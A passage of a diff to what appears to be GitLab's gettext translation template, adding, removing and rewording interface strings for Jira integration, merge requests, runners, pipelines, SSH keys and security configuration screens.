msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19899,18 +20249,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19920,6 +20264,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19929,12 +20276,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19965,9 +20306,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -20265,6 +20603,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20611,7 +20952,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20716,6 +21057,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20761,6 +21105,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20911,9 +21258,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20941,13 +21285,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20965,6 +21309,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -21182,7 +21529,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -21263,7 +21610,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21476,6 +21823,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21494,6 +21844,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21701,9 +22054,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21866,6 +22216,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21881,6 +22237,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21926,22 +22285,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -22061,6 +22411,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22702,6 +23064,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22955,9 +23320,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -23108,9 +23470,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -23135,6 +23494,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23340,6 +23702,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23376,6 +23741,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23571,6 +23939,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23619,9 +23990,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23664,6 +24041,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23685,6 +24065,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23782,6 +24165,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -24005,7 +24391,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -24161,7 +24547,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -24245,6 +24631,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -24335,19 +24727,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24369,6 +24761,12 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24408,6 +24806,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24429,6 +24830,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24447,7 +24851,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24687,6 +25091,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -25045,6 +25452,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -25141,9 +25551,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25396,6 +25803,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25711,9 +26124,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25843,6 +26253,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25858,9 +26271,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25951,10 +26361,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -26095,6 +26505,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -26122,9 +26535,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26365,7 +26775,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26647,7 +27057,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26668,13 +27078,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26716,13 +27126,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
+msgstr ""
+
+msgid "Profiles|Key can still be used after expiration."
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -27052,9 +27465,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -27133,6 +27543,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27400,12 +27813,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27475,6 +27894,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27499,6 +27921,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27520,6 +27945,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27724,6 +28155,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27931,6 +28365,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27949,9 +28386,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -28312,6 +28755,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28474,6 +28920,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28588,6 +29037,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28691,9 +29146,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28863,6 +29315,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28890,6 +29345,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28899,6 +29357,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -29016,15 +29480,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -29040,6 +29504,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -29109,6 +29576,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -29133,6 +29603,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -29320,6 +29793,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -29341,6 +29817,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -29359,6 +29838,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29437,7 +29919,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29452,6 +29934,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29473,6 +29961,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29512,6 +30003,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29583,6 +30077,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29903,6 +30400,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29957,6 +30457,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29969,6 +30472,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29990,6 +30496,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -30002,12 +30511,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -30041,6 +30556,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -30050,6 +30568,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -30080,12 +30601,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -30143,19 +30670,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -30236,21 +30769,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30649,6 +31167,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30673,6 +31194,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30721,7 +31245,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30736,7 +31260,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30748,7 +31272,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30808,6 +31332,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30817,6 +31344,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30841,6 +31371,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30910,7 +31446,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
